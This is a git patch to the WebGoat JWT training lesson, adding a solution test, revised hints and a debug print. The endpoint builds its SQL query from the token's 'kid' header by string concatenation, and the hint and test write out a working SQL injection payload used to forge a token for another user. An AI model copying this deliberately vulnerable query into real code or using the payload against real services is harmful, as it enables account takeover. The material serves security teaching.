From fd96ba18f1ae1a58bfe6b2828349990f46669445 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 21 May 2018 18:42:50 +0200 Subject: [PATCH] Added test cases for solving the lesson --- .../webgoat/plugin/JWTFinalEndpoint.java | 24 ++++++- .../resources/i18n/WebGoatLabels.properties | 2 +- .../resources/lessonPlans/en/JWT_final.adoc | 4 +- .../webgoat/plugin/JWTFinalEndpointTest.java | 62 +++++++++++++++++++ 4 files changed, 88 insertions(+), 4 deletions(-) create mode 100644 webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java index 4549c3942..447dcacc5 100644 --- a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java @@ -2,6 +2,7 @@ package org.owasp.webgoat.plugin; import com.google.common.base.Charsets; import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; @@ -20,6 +21,26 @@ import java.sql.ResultSet; import java.sql.SQLException; /** + *
+ *  {
+ *      "typ": "JWT",
+ *      "kid": "webgoat_key",
+ *      "alg": "HS256"
+ *  }
+ *  {
+ *       "iss": "WebGoat Token Builder",
+ *       "iat": 1524210904,
+ *       "exp": 1618905304,
+ *       "aud": "webgoat.org",
+ *       "sub": "jerry@webgoat.com",
+ *       "username": "Jerry",
+ *       "Email": "jerry@webgoat.com",
+ *       "Role": [
+ *       "Cat"
+ *       ]
+ *  }
+ * 
+ * * @author nbaars * @since 4/23/17. */ @@ -54,9 +75,10 @@ public class JWTFinalEndpoint extends AssignmentEndpoint { final String kid = (String) header.get("kid"); try { Connection connection = DatabaseUtilities.getConnection(webSession); + System.out.println("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { - return rs.getString(1).getBytes(Charsets.UTF_8); + return TextCodec.BASE64.decode(rs.getString(1)); } } catch (SQLException e) { errorMessage[0] = e.getMessage(); diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index ff7ea9f7c..62f53fd55 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -22,4 +22,4 @@ jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which k jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database jwt-final-hint4=The key is stored in the database and loaded while verifying a token jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token. -jwt-final-hint6=Use: key1' union all select 'abcdefg' limit 1,1 -- And change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file +jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc index 3cd423952..de106e731 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc @@ -1,5 +1,5 @@ == Final challenges -Same as before try to change the token and become admin, this assignment requires multiple attack scenarios. - +Below you see two account, one of Jerry and one of Tom. Jerry wants to remove Toms account from Twitter, but his token +can only delete his own account. Can you try to help him and delete Toms account? diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java new file mode 100644 index 000000000..9f4c6eba6 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java @@ -0,0 +1,62 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Maps; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTFinalEndpointTest extends LessonTest { + + private static final String TOKEN_JERRY = "eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8"; + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + String key = "deletingTom"; + Map claims = Maps.newHashMap(); + claims.put("username", "Tom"); + String token = Jwts.builder() + .setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --") + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key) + .compact(); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", token) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void withJerrysKeyShouldNotSolveAssignment() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", TOKEN_JERRY) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account")))); + } +} \ No newline at end of file